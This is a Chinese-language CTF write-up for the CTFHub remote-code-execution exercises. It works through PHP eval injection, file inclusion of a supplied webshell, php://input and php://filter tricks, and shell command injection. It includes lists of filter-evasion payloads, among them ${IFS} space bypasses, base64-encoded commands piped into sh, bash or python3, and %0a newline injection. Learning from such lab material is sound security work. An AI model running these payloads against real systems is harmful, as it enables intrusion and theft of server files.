CTFHUB技能树-RCE

CTFHUB技能树-RCE

eval执行

分析源码,直接在URL中?cmd=system('ls /');

获得flag文件名

然后?cmd=system('cat flag');

文件包含

image-20210416220600738

根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。

点击页面上的shell,可以看到shell.txt的内容:

image-20210416220835229

可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:

http://challenge-2f034509829299a7.sandbox.ctfhub.com:10080/?file=shell.txt

然后使用POST方式传入ctfhub=system('cat /fla*');

image-20210416221230914

php://input

根据题目提示,可以查看phpinfo();的内容,结合题目的名称,查找php://input的相关设置:

image-20210416221638447

所以可以使用php://input来执行命令。

使用BP抓包来传递命令:

image-20210416222109852

读取源代码

?file=php://filter/resource=/flag

远程包含

image-20210416222932590

命令注入

image-20210416223415750

结合代码和题目的提示无过滤。

可以通过ping本地地址,然后;ls /等命令(通过分号来执行其他命令)

image-20210416223824047

禁用cat

要是禁用cat的话可以用less、more、tac、ca\t等绕过

禁用空格

{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3

过滤目录分隔符('/')

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

还是先0;ls查看当前目录

image-20210416224709128

然后结合题目题目,flag_is_here肯定是一个目录,而且flag文件应该就在里面

但是题目过滤了/,根据前面的题目可以知道,在flag中,就包含有/,所以如果直接读取flag的内容,会被替换成$m = [];

这里可以使用base64编码来绕过

0;cd flag_is_here;cat flag_86942576714339.php |base64

得到的是一个base64编码后的值,得到后再解码即可。

image-20210416225352486

过滤运算符

image-20210416225416094

过滤了与和或

127.0.0.1; base64 flag_33461333096.php

综合过滤

前面几个练习的综合

唯一需要额外提到的是,由于此处还过滤了;,所以这一点也得想办法绕过。在linux中,可以使用%0a来绕过,但是由于在GET方式传参的时候,还会变URLencode一次,所以最好是直接在url中去使用,如果直接在input栏中使用,会因为被再次编码而导致失败

image-20210416230105876

payload:

0%0acd${IFS}f***_is_here%0abase64${IFS}fl**_2239364004891.php

image-20210416230520620

posted @ 2021-04-17 14:00  OHuoo  阅读(1481)  评论(0)    收藏  举报